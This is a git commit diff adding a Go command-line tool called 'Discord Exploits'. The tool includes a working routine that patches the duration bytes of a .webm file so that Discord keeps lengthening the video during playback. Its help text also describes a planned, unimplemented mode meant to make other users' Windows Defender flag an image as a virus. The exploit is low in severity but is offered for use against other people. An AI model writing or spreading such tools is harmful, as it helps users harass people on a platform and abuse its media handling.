Project Structure Setup

Command Handler and Expanding-Video command available.
This commit is contained in:
Schmenn 2021-01-08 18:28:09 +01:00
parent 98d3760ab2
commit f24860842d
4 changed files with 164 additions and 0 deletions

3
.gitignore vendored
View file

@ -11,5 +11,8 @@
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
# Testing Files used for checking the programs functionality
*.webm
# Dependency directories (remove the comment below to include it)
# vendor/

105
exploits.go Normal file
View file

@ -0,0 +1,105 @@
package main
import (
"fmt"
"github.com/Schmenn/discord-exploits/exploits"
"os"
"strings"
)
var (
quiet bool = false
inputFile string = "no input file provided"
mode string = "no mode specified"
)
func main() {
args := os.Args[1:]
handleArgs(args, &quiet)
//fmt.Println(quiet)
if !quiet {
welcome()
//exploits.RunExpandingVideoTask()
}
fmt.Println(inputFile)
fmt.Println(mode)
initCommand(inputFile, mode)
}
func welcome() {
fmt.Println("Discord Exploits --- made by Schmenn")
fmt.Println(" _ _ _")
fmt.Println(" | | (_) |")
fmt.Println(" _____ ___ __ | | ___ _| |_ ___")
fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|")
fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\")
fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/")
fmt.Println(" | |")
fmt.Println(" |_|")
}
func handleArgs(args []string, quiet *bool) {
var skipArg int = 0
Loop:
if skipArg > 0 {
skipArg = skipArg - 1
goto Loop
} else {
for i, s := range args {
switch s {
// quiet
case "-q":
*quiet = true
case "--quiet":
*quiet = true
// Input File
case "-i":
skipArg = skipArg + 1
inputFile = args[i+1]
// Mode Selection
case "-m":
skipArg = skipArg + 1
mode = args[i+1]
// Help Message
case "-h":
help()
*quiet = true
return
default:
//fmt.Println("unused argument provided, noone cares tho")
break
}
}
}
}
func help() {
fmt.Println("Discord-Exploits Help")
fmt.Println("")
fmt.Println("-q doesn't show welcome screen")
fmt.Println("-i <file> provide input file")
fmt.Println("-m <mode> provide a mode")
fmt.Println("")
fmt.Println("modes:")
fmt.Println(" expandingvideo takes input video (.webm) and edits it so discord will keep making it longer")
fmt.Println(" virusimage takes an image (.png) and makes other users' windows defender think it's a virus (not yet implemented)")
}
func initCommand(inputFile string, mode string) {
switch strings.ToLower(mode) {
case "expandingvideo":
if strings.HasSuffix(inputFile, ".webm") {
fmt.Println("editing video.")
exploits.RunExpandingVideoTask(inputFile)
fmt.Println("completed task.")
} else {
fmt.Println("File is not a webm, check -h")
}
}
}

View file

@ -0,0 +1,53 @@
package exploits
import (
"bytes"
"fmt"
"io/ioutil"
"os"
"math/rand"
)
// RunExpandingVideoTask edits file
func RunExpandingVideoTask(fileName string) {
data, err := ioutil.ReadFile(fileName)
check(err)
index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1{
fmt.Println("could not find the part of the file that needs to be modified, exiting")
return
}
data[index+3] = 63
data[index+4] = 240
data[index+5] = 0
data[index+6] = 0
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := CreateName("webm")
fmt.Println(name)
ioutil.WriteFile(name, data, os.FileMode(int(0777)))
}
// CreateName generates a random file name
func CreateName(extension string) string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, 6)
for i := range b {
b[i] = charset[rand.Intn(len(charset))]
}
return string(b)+"."+extension
}
func check(e error) {
if e != nil {
panic(e)
}
}

3
go.mod Normal file
View file

@ -0,0 +1,3 @@
module github.com/Schmenn/discord-exploits
go 1.15